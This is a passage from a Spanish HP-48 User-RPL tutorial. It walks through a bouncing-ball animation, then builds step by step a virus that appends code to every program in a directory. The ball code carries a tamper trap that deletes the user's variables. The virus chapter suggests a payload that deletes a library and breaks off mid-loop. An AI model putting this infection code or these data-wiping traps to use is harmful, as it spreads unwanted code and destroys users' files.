TEMAS COMO LA PROTECCIN DE PROGRAMAS, USANDO SIEMPRE ALGUNAS
TCNICAS ANTI-ESTUPIDOS Y TODO ESO. ADEMAS DE PROGRAMAR BASTANTE, NOS
ADENTRAREMOS BIEN PROFUNDO EN EL CDIGO DE LOS PROGRAMAS Y HABLAREMOS
BASTANTE DE PROBLEMAS COMO LA OPTIMIZACION DE CDIGO Y TIEMPO DE
EJECUCION, ASPECTO BASTATE IMPORTANTE A TOMAR EN CUENTA A LA HORA DE
PROGRAMAR LA HP-48 EN LENGUAJE USER-RPL, POR LA ESTRUCTURA Y
FUNCIONALIDAD DEL LENGUAJE EN SI MISMO.
BUENO, REALMENTE LES DIGO QUE EN ESTA TERCERA PARTE, QUIZ HASTA YO
PODR APRENDER ALGUNAS COSAS, Y NO ES MENTIRA , YA QUE ME DOY CUENTA
DE QUE TENDR QUE VOLVER A ESTUDIAR UN POCO EL LENGUAJE PARA QUE TODO
VAYA MEJOR.
ENTONCES, QUE ESPERAMOS ? A PROGRAMAR.
CAPITULO 1 : "ANALISIS DEL CDIGO FUENTE DEL PROGRAMA PELOTA, EL CUAL
HACE QUE UN PUNTO REBOTE POR LA PANTALLA SIMULANDO EL
MOVIMIENTO DE UNA PELOTA"
Les hablar un poco de mi. Cuando veo por ejemplo el cdigo en
lenguaje C de un programa llamado SORT el cual dado un arreglo de
nmeros los ordena de mayor a menor, no se por donde empezar. De
primera, lo nico que veo son muchos geroglificos que no entiendo
para nada, es decir, tres ciclos for anidados daban el resultado
correcto, pero de que yo entend el cdigo.....la verdad es que an
no. Por esto, y adems por un e-mail que me llego de un amigo de
Venezuela dicindome que estaba un poco difcil el cdigo de la
pelota, es que decid dedicarle un capitulo entero a su discusin.
Si alguien as lo desea, puede seguir en el segundo capitulo sin
problemas, ya que en este primer capitulo no dar ningn comando
nuevo ni nada por el estilo, lo que har ser hacerles a ustedes
entender, cada idea que estuvo en mi cabeza en el momento en que se
me ocurri el cdigo para hacer el programa, o sea, entender
completamente la funcionalidad del cdigo.
Bueno, esperenme un poco, voy a buscar el cdigo que lo tengo en la
segunda parte......
USANDO PVIEW :
<< << { XJ3 } PURGE (0.5,0.5) XJ3 STO ERASE (0,0) PIXON
{ #0h #0h } PVIEW (0,0) Q2 >> Q1 STO
<< DUP C->R -> Y A B << Y PIXOFF
IF 'A>6' THEN { XJ3 } (1,0) STO- END
IF 'B>3' THEN { XJ3 } (0,1) STO- END
IF 'A<-5.5' THEN { XJ3 } (1,0) STO+ END
IF 'B<-3' THEN { XJ3 } (0,1) STO+ END
Y XJ3 + PIXON { #0h #0h } KEY
IF 0 == THEN PVIEW Y XJ3 + Q2
ELSE { XJ3 PPAR Q1 Q2 } PURGE "by xj35u5x" MSGBOX
CLEAR END >> >> Q2 STO Q2 >>
USANDO ANIMATE :
<< GROB 1 1 10 WQ STO
GROB 1 1 00 WQ2 STO
<< { KK2 } RCL BYTES IF # B767h == THEN
{ XJ32 PPAR KK1 KK2 WQ WQ2 } PURGE (0.5,0.5) XJ32 STO
ERASE PICT RCL (0,0)
WQ GOR { 1 { #0h #0h } 0 1 } ANIMATE (0,0) KK2
ELSE VARS PURGE END
>>
KK1 STO
<<
DUP C->R -> T A B << SWAP T WQ2 REPL
IF 'A>5.8' THEN { XJ32 } (1,0) STO- END
IF 'B>2.5' THEN { XJ32 } (0,1) STO- END
IF 'A<-5.7' THEN { XJ32 } (1,0) STO+ END
IF 'B<-2.8' THEN { XJ32 } (0,1) STO+ END
T XJ32 + WQ GOR SWAP KEY
IF 0 == THEN ANIMATE T XJ32 + KK2
ELSE { PPAR XJ32 KK1 KK2 WQ WQ2 } PURGE CLEAR
"by xj35u5x" MSGBOX END >> >> KK2 STO
KK1 >>
Bueno, primero que nada, ah esta el cdigo de los dos programas que
hacen lo que nosotros queramos. Uno usa el comando PVIEW y el otro
el comando ANIMATE(este es mi favorito).
empecemos por el cdigo del PVIEW :
<< << { XJ3 } PURGE (0.5,0.5) XJ3 STO ERASE (0,0) PIXON
{ #0h #0h } PVIEW (0,0) Q2 >> Q1 STO
<< DUP C->R -> Y A B << Y PIXOFF
IF 'A>6' THEN { XJ3 } (1,0) STO- END
IF 'B>3' THEN { XJ3 } (0,1) STO- END
IF 'A<-5.5' THEN { XJ3 } (1,0) STO+ END
IF 'B<-3' THEN { XJ3 } (0,1) STO+ END
Y XJ3 + PIXON { #0h #0h } KEY
IF 0 == THEN PVIEW Y XJ3 + Q2
ELSE { XJ3 PPAR Q1 Q2 } PURGE "by xj35u5x" MSGBOX
CLEAR END >> >> Q2 STO Q1 >>
Bueno, lo que haremos ser ir construyendo de a poco el cdigo.
Lo que necesitamos es un punto. Un simple punto. Bueno, este
objetos, como la gran mayora de ustedes sabrn, necesita para
existir de 2 parmetros, su coordenada "x" y su coordenada "y", esto
es as al menos en 2 dimensiones. Bueno, entonces decidimos lo mas
adecuado para representar los puntos, o sea, la misma forma en que
la hp los representa, y esta forma es (a,b) donde a es la coordenada
"x" y b es la coordenada "y".
Bueno, pero adems de un simple punto, tambin necesitamos que
este punto se mueva, o sea, que vari su ubicacin, o por lo tanto,
que varen sus coordenadas segn sea necesario. Entonces se me
ocurrio la idea que viene a continuacin, y que es la parte medular
de este cdigo.
Lo que necesitaba era un "sumador", o sea, otra coordenada que
se sumara a la original para producir el efecto de movimiento. El
"sumador" solo tendra algunos valores para tomar. En efecto, son 4.
(1,1) este es cuando se mueve hacia arriba-derecha, ya que
le suma 1 a cada coordenada, con lo que se produce el efecto de que
se mueve para arriba y a la derecha. Anlogamente pasa con :
(-1,1) <- arriba y a la izquierda
(1,-1) <- abajo y a la derecha
(-1,-1) <- abajo y a la izquierda
Si alguien no entendi esta parte le dar un pequeo ejemplo :
Supongamos que las coordenadas actuales del punto son (0,0) y
el punto en ese momento se va moviendo en direccin arriba-derecha,
entonces, suponiendo que la diferencia entre un punto y otro es 0.5,
se supone que la siguiente ubicacin del punto sera (0.5,0.5) punto
que efectivamente se encuentra arriba y a la derecha del (0,0).
Espero se haya entendido.
Ese es el primer razonamiento para hacer el programa.
Pero ahora debemos preguntarnos, cuando variar el "sumador" ??? Esto
es muy simple de responder, sobre todo si estamos tratando de simular
el movimiento de una pelota..... Simplemente, supongamos que el
movimiento va para arriba, entonces, cuando la pelota llegue al
limite superior de la pantalla, en ese momento es cuando se debe
cambiar el valor (1,1) por el valor (1,-1) para que el movimiento
siga para abajo.
Y como resolvemos esa parte, simplemente decidiendo si las
coordenadas se encuentran en esos lmites. Bueno analicemos el primer
mdulo :
<< { XJ3 } PURGE (0.5,0.5) XJ3 STO ERASE (0,0) PIXON
{ #0h #0h } PVIEW (0,0) Q2 >>
al que se le ha llamado Q1. ( Q1 STO )
Lo primero, la lnea { XJ3 } PURGE es por que simplemente la
variable XJ3 es el "sumador" del que hablbamos endenante.
Luego, se crea la variable XJ3 con el valor (0.5,0.5).
Despus, se borra la pantalla de grficos con el comando ERASE y
luego se pinta un punto en la ubicacin (0,0) en la lnea (0,0) PIXON
el cual ser el primer punto del ciclo.
Entonces, mediante la lnea { #0h #0h } PVIEW se muestra el punto en
pantalla y tu lo ves por primera vez.
Despus de haberlo mostrado, se pone el valor (0,0) en la pila, que
representa la ubicacin del punto recin pintado, y se llama al
programa Q2, que es el otro mdulo del programa pelota. este es :
<< DUP C->R -> Y A B << Y PIXOFF
IF 'A>6' THEN { XJ3 } (1,0) STO- END
IF 'B>3' THEN { XJ3 } (0,1) STO- END
IF 'A<-5.5' THEN { XJ3 } (1,0) STO+ END
IF 'B<-3' THEN { XJ3 } (0,1) STO+ END
Y XJ3 + PIXON { #0h #0h } KEY
IF 0 == THEN PVIEW Y XJ3 + Q2
ELSE { XJ3 PPAR Q1 Q2 } PURGE "by xj35u5x" MSGBOX
CLEAR END >> >>
Bien, ahora vemos que dentro de este cdigo no se vuelve a llamar
nunca mas al programa Q1, por lo que nos damos cuenta que el Q1 se
ejecuta solo una vez para luego pasar el control total a este otro
modulo del programa, al que hemos llamado Q2.
Bien, lo primero que hacemos es duplicar la coordenada dejada por Q1,
y luego mediante un par de cosas dejamos en la pila por ejemplo :
si el Q1 haba dejado
2:
1: (0,0)
nosotros, en la lnea DUP C->R lo que hacemos es dejar eso de esta
manera :
3: (0,0)
2: 0
1: 0
esto es, en el nivel 3, tenemos la ubicacin, en el dos la coordenada
x y en el uno la coordenada y. Entonces procedemos a tomarlas como
variables locales en la lnea -> Y A B en donde Y es la ubicacin
0,0)...A es la coordenada "x" y B es la coordenada "y".
Lo primero que hago dentro de este mdulo, es borrar el punto
anterior, para que se cumpla la simulacin de movimiento con la lnea
Y PIXOFF
Entonces procedemos a hacer algo muy importante, que es comparar las
coordenadas de el punto con los lmites de la pantalla, mediante las
lneas
IF 'A>6' THEN { XJ3 } (1,0) STO- END
IF 'B>3' THEN { XJ3 } (0,1) STO- END
IF 'A<-5.5' THEN { XJ3 } (1,0) STO+ END
IF 'B<-3' THEN { XJ3 } (0,1) STO+ END
Ah vemos que se comparan las coordenadas con los lmites de la
pantalla y segn eso se cambia el valor de la variable XJ3 que es
nuestro "sumador".
Luego viene el cdigo
Y XJ3 + PIXON { #0h #0h } KEY
el cual lo que hace es :
1-Pona la variable local que contiene la ubicacin en la pila
2-Llama al sumador y se lo suma
3-Pinta el pixel
Luego, ponemos el { #0h #0h } para poder visualizar luego la pantalla
de grficos conteniendo el punto. Pero antes de eso, se llama a KEY,
que sirve para ver si se ha presionado una tecla. Esto es para hacer
que el programa termine si se presiona una tecla...
IF 0 == THEN PVIEW Y XJ3 + Q2
ELSE { XJ3 PPAR Q1 Q2 } PURGE "by xj35u5x" MSGBOX
CLEAR END
Eso es lo ltimo, se compara el valor arrojado por KEY con 0. Y si 0
es igual al valor arrojado, significa que no se ha presionado ninguna
tecla, y el bucle infinito debe seguir. Esto se realiza mediante:
PVIEW Y XJ3 + Q2
Esto, con PVIEW, se muestra la pantalla de grficos, ya que las
coordenadas estn en la pila.( { #0h #0h } )
Luego, se pone la coordenada en donde fue pintado el pixel:
Y XJ3 +
Finalmente se llama nuevamente el mismo programa en forma recursiva.
En caso de que el valor arrojado por KEY fuera distinto, lo que se
hace es borrar las variables con las que trabaj el programa, o sea,
{ XJ3 PPAR Q1 Q2 } PURGE
PPAR es una variable que aparece automticamente cuando se ejecuta
PVIEW.
Lo ltimo es una pantallita donde dice "by xj35u5x", jeje, ese soy
yo, el autor. Con la palabra CLEAR se borra el contenido de la pila.
Eso sera todo el cdigo, si a alguien no le qued algo claro, no
tiene que pensar nada tonto, solo escrbame y yo le explicare lo que
quiera.
xj35u5x
milun@starmedia.com
http://www.geocities.com/xj35u5x
AHORA VEAMOS EL EJEMPLO CON ANIMATE
USANDO ANIMATE :
<< GROB 1 1 10 WQ STO
GROB 1 1 00 WQ2 STO
<< { KK2 } RCL BYTES IF # B767h == THEN
{ XJ32 PPAR KK1 KK2 WQ WQ2 } PURGE (0.5,0.5) XJ32 STO
ERASE PICT RCL (0,0)
WQ GOR { 1 { #0h #0h } 0 1 } ANIMATE (0,0) KK2
ELSE VARS PURGE END
>>
KK1 STO
<<
DUP C->R -> T A B << SWAP T WQ2 REPL
IF 'A>5.8' THEN { XJ32 } (1,0) STO- END
IF 'B>2.5' THEN { XJ32 } (0,1) STO- END
IF 'A<-5.7' THEN { XJ32 } (1,0) STO+ END
IF 'B<-2.8' THEN { XJ32 } (0,1) STO+ END
T XJ32 + WQ GOR SWAP KEY
IF 0 == THEN ANIMATE T XJ32 + KK2
ELSE { PPAR XJ32 KK1 KK2 WQ WQ2 } PURGE CLEAR
"by xj35u5x" MSGBOX END >> >> KK2 STO
KK1 >>
BIen, empezare desde lo mas importante, aqu vamos a hablar un poco
sobre la proteccin de nuestros programas, considere el cdigo
siguiente :
<< GROB 1 1 10 WQ STO
GROB 1 1 00 WQ2 STO
<<
{ XJ32 PPAR KK1 KK2 WQ WQ2 } PURGE (0.5,0.5) XJ32 STO
ERASE PICT RCL (0,0)
WQ GOR { 1 { #0h #0h } 0 1 } ANIMATE (0,0) KK2 >>
KK1 STO
<<
DUP C->R -> T A B << SWAP T WQ2 REPL
IF 'A>5.8' THEN { XJ32 } (1,0) STO- END
IF 'B>2.5' THEN { XJ32 } (0,1) STO- END
IF 'A<-5.7' THEN { XJ32 } (1,0) STO+ END
IF 'B<-2.8' THEN { XJ32 } (0,1) STO+ END
T XJ32 + WQ GOR SWAP KEY
IF 0 == THEN ANIMATE T XJ32 + KK2
ELSE { PPAR XJ32 KK1 KK2 WQ WQ2 } PURGE CLEAR
"by xj35u5x" MSGBOX END >> >> KK2 STO
KK1 >>
Hay una ligera diferencia, en este ltimo falta la lnea :
{ KK2 } RCL BYTES IF B767h == THEN
y al final falta
ELSE VARS PURGE END
Bueno, si se ejecuta el programa de las dos formas funcionar igual,
la diferencia esta en una sola parte.
Supongamos que yo soy un "Hacker-TONTO", o sea, la persona que quiere
hacer algo raro a nuestro cdigo, algo raro como cambiar la frase
"by xj35u5x"
por
"creado por hacker-TONTO"
Algo muy comn entre todos los perdedores que quieren jugar un rato a
lo crackers/hacker.
Bueno, la cosa es que con ese cdigo extra, si alguien intentase
cambiar de cualquier forma la frase "by xj35u5x" al ejecutar el
cdigo lo nico que vera sera como todas sus variables del
directorio actual se borran.
( VARS PURGE )
Esto a menos que la primera variable fuera un directorio no vaco,
pero esto es una trivialidad tcnica, lo que importa es el hecho.
Una de las formas de proteccin de los programas es mediante el uso
del comando BYTES, el cual nos da la suma de verificacin de
cualquier cosa. Entonces lo que yo hice fue hacerle un BYTES al
modulo que contiene la frase, y lo comparo con el verdadero valor que
ya he obtenido. Entonces, la gracia del asunto es que es hacker-TONTO
ya no le ser posible llegar a reemplazar las cadenas por lo que
el quiera, por que cada cadena podramos guardarla en variables, o
hacerles BYTES.
Bueno, esto no es una proeza, ya que alguien con los conocimientos
adecuados podra fcilmente crackear el cdigo, pero mis amigos, para
los que no lo sepan, as funciona el mundo de la informtica.
Luego, en captulos posteriores, desarrollaremos mtodos ms
avanzados de proteccin.
Ahora, bueno, disculpen por salirme del tema, lo que bamos a hacer
era una investigacin sobre el cdigo fuente de la PELOTA que salta
por toda la pantalla, usando el comando ANIMATE. Bueno, si vamos a
hacer esto, hagmoslo sin la proteccin, ya que no viene al
caso......
<< GROB 1 1 10 WQ STO
GROB 1 1 00 WQ2 STO
<<
{ XJ32 PPAR KK1 KK2 WQ WQ2 } PURGE (0.5,0.5) XJ32 STO
ERASE PICT RCL (0,0)
WQ GOR { 1 { #0h #0h } 0 1 } ANIMATE (0,0) KK2 >>
KK1 STO
<<
DUP C->R -> T A B << SWAP T WQ2 REPL
IF 'A>5.8' THEN { XJ32 } (1,0) STO- END
IF 'B>2.5' THEN { XJ32 } (0,1) STO- END
IF 'A<-5.7' THEN { XJ32 } (1,0) STO+ END
IF 'B<-2.8' THEN { XJ32 } (0,1) STO+ END
T XJ32 + WQ GOR SWAP KEY
IF 0 == THEN ANIMATE T XJ32 + KK2
ELSE { PPAR XJ32 KK1 KK2 WQ WQ2 } PURGE CLEAR
"by xj35u5x" MSGBOX END >> >> KK2 STO
KK1 >>
Bueno, la idea es muy parecida al programa anterior. Solo que ahora
en vez de usar puntos, usaremos pequeos dibujos que simularan
puntos.
Las lneas
GROB 1 1 10 WQ STO
GROB 1 1 00 WQ2 STO
Lo que hacen es crear dos grobs de 1*1 pixeles. Unos de ellos esta
pintado y el otro no. El que no esta pintado ser usado como "goma de
borrar". Esto debido a que es ms rpido que usar el ERASE, el cual
borra toda la pantalla de grficos.
Ahora, la sintaxis del comando ANIMATE es un poco distinta a la del
comando PVIEW. El comando ANIMATE requiere que en el nivel 2 de la
pila se encuentre el grob a visualizar, y en el nivel 1 de la pila se
debe encontrar una lista que contenga los siguientes parmetros :
a - Numero de grobs a mostrar
b - Coordenada "x" en formato {} de donde se quiere mostrar el grob.
c - Coordenada "y" en formato {} de donde se quiere mostrar el grob.
d - Tiempo que se mostrar cada grob en segundos.
e - Numero de veces a mostrar la animacin.
Con las siguientes salvedades.
Si d es cero, la animacin se muestra automticamente, muy rpido.
Si e es cero, la animacin se muestra indefinidamente.
Y la lista es de la siguiente forma:
{ a { #b #c } d e }
O sea una lista con 4 elementos.
Igual que la versin con PVIEW, el programa constar de dos mdulos
que se crean y se destruyen cuando comienza y termina el programa
respectivamente.
El primero de ellos es :
<< { XJ32 PPAR KK1 KK2 WQ WQ2 } PURGE (0.5,0.5) XJ32 STO
ERASE PICT RCL (0,0)
WQ GOR { 1 { #0h #0h } 0 1 } ANIMATE (0,0) KK2 >>
Lo primero es borrar las variables usadas por el programa, en caso de
cualquier problema mediante la lnea :
{ XJ32 PPAR KK1 KK2 WQ WQ2 } PURGE
Luego, se guarda el primer sumador con la lnea :
(0.5,0.5) XJ32 STO
Despus, mediante la lnea
ERASE PICT RCL
Obtenemos un grob del porte de la pantalla, para trabajar sobre l.
Antes de seguir, debemos decir, el nombre de las variables que se
crean en el programa.....
WQ <- es el punto
WQ2 <- la goma de borrar, o sea un punto vaco.
XJ32 <- sumador
KK1 <- modulo que empieza el programa
KK2 <- modulo principal
Ahora continuemos.....
El programa sigue con :
(0,0) WQ GOR
Lo que hace esto es pegar el contenido de WQ en el grob base que
anteriormente creamos, en la coordenada (0,0).
Entonces, ya tenemos un primer grob, con el punto pintado en la
ubicacin (0,0) listo para empezar..... Esto se realiza con la
lnea :
{ 1 { #0h #0h } 0 1 } ANIMATE (0,0) KK2
La cual lo que hace es mostrar el dibujo en pantalla, y luego,
pasarle el valor en donde fue pinado el pixel al modulo KK2.
Entonces, eso sera todo lo que hace este primer mdulo, al que
llamamos KK1.
El cdigo del segundo mdulo, llamado este KK2 es :
<< DUP C->R -> T A B << SWAP T WQ2 REPL
IF 'A>5.8' THEN { XJ32 } (1,0) STO- END
IF 'B>2.5' THEN { XJ32 } (0,1) STO- END
IF 'A<-5.7' THEN { XJ32 } (1,0) STO+ END
IF 'B<-2.8' THEN { XJ32 } (0,1) STO+ END
T XJ32 + WQ GOR SWAP KEY
IF 0 == THEN ANIMATE T XJ32 + KK2
ELSE { PPAR XJ32 KK1 KK2 WQ WQ2 } PURGE CLEAR
"by xj35u5x" MSGBOX END >> >> KK2 STO
KK1 >>
Lo primero es lo mismo que el cdigo PVIEW, o sea, tomar tres objetos
como variables locales, la ubicacin entera, la coordenada x y la
coordenada y.
DUP C->R -> T A B
Vemos que ahora la ubicacin se llama T.
Bueno, entonces, pensemos en que es lo que pasa en ese momento...
Como tomamos la ubicacin como variable local junto con sus partes,
lo que queda en la pila seran dos cosas:
3:
2: grob_actual
1_ { 1 { #0h #0h } 0 1 }
Entonces, como debemos trabajar siempre solo con el grob, usamos la
palabra
SWAP
Luego, se borra el punto recin mostrado mediante la lnea:
T WQ2 REPL
ya que T es la ubicacin y WQ2 es el punto vaco que borra el
anterior.
Luego lo mismo de antes para decidir si la pelota ha llegado a los
limites de la pantalla y segn eso cambiar el sumador:
IF 'A>5.8' THEN { XJ32 } (1,0) STO- END
IF 'B>2.5' THEN { XJ32 } (0,1) STO- END
IF 'A<-5.7' THEN { XJ32 } (1,0) STO+ END
IF 'B<-2.8' THEN { XJ32 } (0,1) STO+ END
Despus, se pone la ltima ubicacin del punto nuevamente, se le suma
el correspondiente sumador, y se llama a la variable WQ, la cual
contiene el punto a visualizar. Teniendo estos tres parmetros en la
pila(grob, ubicacin, grob) ya podemos pegar un nuevo punto.... Todo
esto en la lnea:
T XJ32 + WQ GOR SWAP
Ese SWAP es para dejar listo el grob con los parmetros necesarios
para hacer una nueva animacin.
Despus se llama al KEY para ver si se presiona una tecla, y en caso
de que no se presione ninguna, se hace la animacin, y se pone en la
pila el valor de las coordenadas(ubicacin) del punto pintado recin,
llamndose luego el programa KK2 a si mismo, en forma recursiva.
IF 0 == THEN ANIMATE T XJ32 + KK2
En caso de que se presiona una tecla, tenemos el cdigo :
ELSE { PPAR XJ32 KK1 KK2 WQ WQ2 } PURGE CLEAR
"by xj35u5x" MSGBOX
El cual ya sabemos lo que hace, terminar correctamente el programa,
borrando las variables que us temporalmente.
Bueno, eso sera todo. La verdad es que a mi me ha ayudado bastante,
ya que cuando quise hacer esto en lenguaje C no me cost nada. Siendo
un total ignorante en la programacin c. Lo que ocurri fue que como
yo haba hecho el programa para la hp-48 ya tena la idea, y la
"traduje" a lenguaje C.
Todas sus dudas a
milun@starmedia.com
Espero que se haya entendido algo de toda esta mugre.... jaja....
FIN DEL CAPITULO 1
---------------------------------------------------------------------
CAPITULO 2 : "INTENTEMOS CREAR UN VIRUS VERDADERO"
Vamos a revisar la teora y programacin de un muy simple virus. Lo
que har este virus ser infectar a todos los otros programas user-
rpl que se encuentren en el directorio actual insertndole un pequeo
trozo de cdigo al final de cada archivo
user-rpl que se encuentre.
Comando: TYPE
Lo que hace este comando es decirnos el tipo de objeto que se
encuentra en el nivel 1 de la pila. Lo que devuelve es un nmero que
variar segn el tipo de objeto. Vase la siguiente tabla :
---------------------------------------------------
NUMERO | TIPO DE OBJETO |
--------|-----------------------------------------|
-- 0 ---|-- NUMERO REAL --------------------------|
--------|-----------------------------------------|
-- 1 ---|-- NUMERO COMPLEJO ----------------------|
--------|-----------------------------------------|
-- 2 ---|-- CADENA DE CARACTERES O STRING --------|
--------|-----------------------------------------|
-- 3 ---|-- SISTEMA REAL -------------------------|
--------|-----------------------------------------|
-- 4 ---|-- SISTEMA COMPLEJO ---------------------|
--------|-----------------------------------------|
-- 5 ---|-- LISTA --------------------------------|
--------|-----------------------------------------|
-- 6 ---|-- NOMBRE GLOBAL ------------------------|
--------|-----------------------------------------|
-- 7 ---|-- NOMBRE LOCAL -------------------------|
--------|-----------------------------------------|
-- 8 ---|-- PROGRAMA !!!!!! ----------------------|
--------|-----------------------------------------|
-- 9 ---|-- OBJETO ALGEBRAICO --------------------|
--------|-----------------------------------------|
-- 10 --|-- ENTERO BINARIO -----------------------|
--------|-----------------------------------------|
-- 11 --|-- OBJETO DE GRFICOS -------------------|
--------|-----------------------------------------|
-- 12 --|-- OBJETO ETIQUETADO --------------------|
--------|-----------------------------------------|
-- 13 --|-- OBJETO DE UNIDADES -------------------|
--------|-----------------------------------------|
-- 14 --|-- NOMBRE DE XLIB -----------------------|
--------|-----------------------------------------|
-- 15 --|-- DIRECTORIO ---------------------------|
--------|-----------------------------------------|
-- 16 --|-- BIBLIOTECA ---------------------------|
--------|-----------------------------------------|
-- 17 --|-- OBJETO DE SEGURIDAD ------------------|
--------|-----------------------------------------|
-- 18 --|-- FUNCION INCORPORADA ------------------|
--------|-----------------------------------------|
-- 19 --|-- COMANDO INCORPORADO ------------------|
--------|-----------------------------------------|
-- 20 --|-- SISTEMA BINARIO ----------------------|
--------|-----------------------------------------|
-- 21 --|-- REAL EXTENDIDO -----------------------|
--------|-----------------------------------------|
-- 22 --|-- COMPLEJO EXTENDIDO -------------------|
--------|-----------------------------------------|
-- 23 --|-- SISTEMA RELACIONADO ------------------|
--------|-----------------------------------------|
-- 24 --|-- CARACTER -----------------------------|
--------|-----------------------------------------|
-- 25 --|-- OBJETO DE CDIGO ---------------------|
--------|-----------------------------------------|
-- 20 --|-- DATOS DE BIBLIOTECA ------------------|
--------|-----------------------------------------|
-- 21 --|-- OBJETO EXTERNO -----------------------|
--------|-----------------------------------------|
________|_________________________________________|
SE DARAN CUENTA QUE EL QUE NOS SIRVE ES EL 8.
Hago esta aclaracin por que necesitaremos detectar las variables que
contengan programas para modificarlos segn nosotros queramos. Pero
lograr esto viene mucho Despus, luego de unos buenos razonamientos.
Comando: TVARS
Lo que hace este comando, es, dado un nmero cardinal en la pila, nos
entrega una lista conteniendo los nombres de todas las variables del
directorio actual, cuyo tipo sea el que representa el numero dado.
Bien, veamos al asunto de inmediato. Lo que haremos en sntesis ser
detectar todas las variables que sean programas user-rpl y sus
respectivos nombres. Luego, transformamos todos esos programas a
cadenas de texto. Despus, le concatenamos el texto que nosotros
queramos :-), y Despus, volvemos a transformar la cadena en
programa, y le ponemos sus respectivos nombres.
Claro que todo esto no es nada fcil, ni me lo imagino como lo
haremos, pero s que es posible.... Trataremos de hacer algo
bonito. :-)
Que hace el siguiente cdigo:
<< CLEAR
8 TVARS
>>
Lo nico que hace es mostrarnos una lista con los nombres de las
variables que son programas en el directorio actual.
Esa ser la base sobre la que trabajaremos.
Ahora me voy, por que tengo mucho sueo. chau.....
<< "MAANA NOS VEMOS" MSGBOX >>
Bueno, estoy de vuelta como una semana Despus de que me "fui",
jaja , bien, ahora, vamos viendo....Ahhh, el virus, una vez lo hice,
recuerdo que funcionaba bien, pero era un poco lento, sobre todo si
en el directorio actual se encontraban muchos programas, los cuales
deba infectar uno por uno.... Esto tambin ocurra en caso de que
los programas presentes fueran de gran tamao.
Otro tipo de virus, ntegramente creado por mi, lo pueden estudiar y
entender en :
http://www.geocities.com/xj35u5x/xvir.html
Aunque este es menos inteligente que el que analizamos aqu,
es mucho ms destructivo.
Es parte de mi pgina, en la cual encontraras informacin sobre la
hp-48.
La direccin raz de mi pgina es
http://www.geocities.com/xj35u5x
La verdad de las cosas, es que en este momento no puedo programar
nada, ya que tengo la calculadora sin pilas.... Alguien en mi casa me
las ocup para el control remoto, as que cuando compre pilas
continuar con la programacin del virus.
Recuerdo que en la primera versin del virus, lo que se pegaba al
final de cada programa user del directorio era :
180599 DROP >>
Eso se concatenaba al final del cdigo.... Y a estas alturas supongo
que sabrs que lo nico que hace es poner el nmero 180599 en la pila
y borrarlo automticamente sin que el usuario se de cuenta.... O sea,
era un virus "Inofensivo", en otras palabras, que no hace gran dao
al usuario.... De hecho no le hace nada a nadie, a parte de la
memoria que se usa para aumentar el archivo.
Por que 180599 ?
Es la fecha de nacimiento de alguien especial....
Y por eso, bautic a este tipo de virus con ese nombre... simplemente
<< 180599 >>.
Que pasara si en vez del anterior cdigo hubiera puesto :
0 PVARS HEAD DUP DETACH PURGE >>
Eso sera algo as como que cada vez que se ejecutara el programa
infectado se borrara una librera. Se pueden hacer tantas cosas con
esta maquinita.....
Ups, estoy de vuelta, Despus de como 2 semanas sin escribir nada,
mil disculpas, aunque a ustedes realmente no les afecta.....
Vamos a ir creando lentamente el cdigo del virus 180599.
Primero, traigamos a la pila una lista con los nombres de todos los
archivos o variables que contienen programas user-rpl. Esto lo
logramos de la siguiente forma :
<< 8 TVARS >>
Luego, esa lista la duplicamos, y obtenemos luego, otra lista, con
los contenidos de cada variable..... o sea, ampliemos el cdigo a:
<< 8 TVARS DUP << RCL >> DOLIST >>
Si no se entendi la parte del DOLIST, este es un comando que nos
permite aplicar a una lista, un pequeo programa, en este caso << RCL
>>.
ahora podemos ver algo como esto :
3:
2: { programa1 programa2 programa3 ..... programa(n) }
1: { <<cdigo1>> <<cdigo2>> <<cdigo3>>.....<<cdigo n>> }
Ahora, lo que vamos a hacer, es un ciclo, el cual se repetir un
nmero "n" de veces, o sea, el nmero de programas que se infectar.
Como hacemos esto ??? Bueno, se supone que cada uno debe razonar el
problema, y segn su estilo resolver el problema en su cabeza,
aplicando la programacin y el lenguaje a la resolucin del
problema.... Bueno, supongo que as funciona el hbito de
programar.....
Yo , lo primero que hara, sera obtener en la pila los elementos de
la lista que est en el nivel 1: de la pila, o sea, la lista que
contiene el cdigo de los programas que se quiere infectar. Usando el
comando OBJ-> nos quedan todos los elementos en la pila y en el nivel
1: nos queda el nmero de elementos que tena la lista. Este es el
famoso nmero n que
utilizaremos para repetir el ciclo que ir infectando cada cdigo.
o sea, el nuevo cdigo ser.
<< 8 TVARS DUP << RCL >> DOLIST OBJ-> -> A << @@@@ >> >>
Ah esta nuestra nueva versin, aqu, se supone que luego de
ejecutar el comando OBJ-> tomamos el nmero de programas a infectar
como variable local, que en este caso llamamos A. Luego, lo que
pusimos como @@@@ es lo que deberemos reemplazar con el cdigo que
trabajar a los cdigos de los programas, para ir infectndolos uno
por uno.
Sigamos ampliando el cdigo, ahora lo que har ser dejar todo listo
para aplicar cmodamente el ciclo que se debera repetir n o (n-1)
veces todava no estoy seguro, pero veamos..... Despus de haber
tomado el n como variable local voy a meter una lista vaca, en donde
iremos ingresando cada cdigo modificado, y la intercambiare de
posicin con el ltimo cdigo, o sea....
Ejemplo:
supongamos que hay 3 programas
y estamos en el momento justo Despus de haber
tomado el numero de programas como variable local.
4: { nombre1 nombre2 nombre3 }
3: << cdigo 1 >>
2: << cdigo 2 >>
1: << cdigo 3 >>
Ahora veamos como queda la pila luego de meter un lista vaca en el
nivel 2 de la pila, o sea, intercambindola de posicin con el <<
cdigo 3 >>
4: << cdigo 1 >>
3: << cdigo 2 >>
2: { }
1: << cdigo 3 >>
Para hacer eso necesitamos ampliar el cdigo a :
<< 8 TVARS DUP << RCL >> DOLIST OBJ->
-> A << { } SWAP >> >>
Ah tenemos nuestra lista vaca, entonces, el ciclo completo que
necesitamos sera en seudo-cdigo :
_transformar el cdigo en string
_duplicar ese string
_obtener su largo
_el largo es lo mismo que la ubicacin de la ltima letra o simbolo.
En caso de ser un programa, que lo es... el ltimo signo siempre es
">>" por lo que debemos reemplazarlo por
" 180599 DROP >>"
_volver el string a programa.
_meterlo en la lista.
_hacer swap, y continua con el otro cdigo
Lo haremos con una secuencia de repeticin START NEXT
o sea :
<< 8 TVARS DUP << RCL >> DOLIST OBJ->
-> A << { } SWAP
1 A START
->STR @_transformar el cdigo en string
DUP @_duplicar ese string
SIZE @_obtener su largo
" 180599 DROP >>" @_cambiar ">>" por "180599 >>"
REPL
OBJ-> @_volver el string a programa.
+ @_meterlo en la lista.
SWAP @_hacer swap, y continua con el @_otro cdigo
NEXT >>
>>
Luego de esto, podemos comprobar, que debido al ltimo SWAP antes de
terminar cada repeticin del bucle infectado, nos queda en el primer
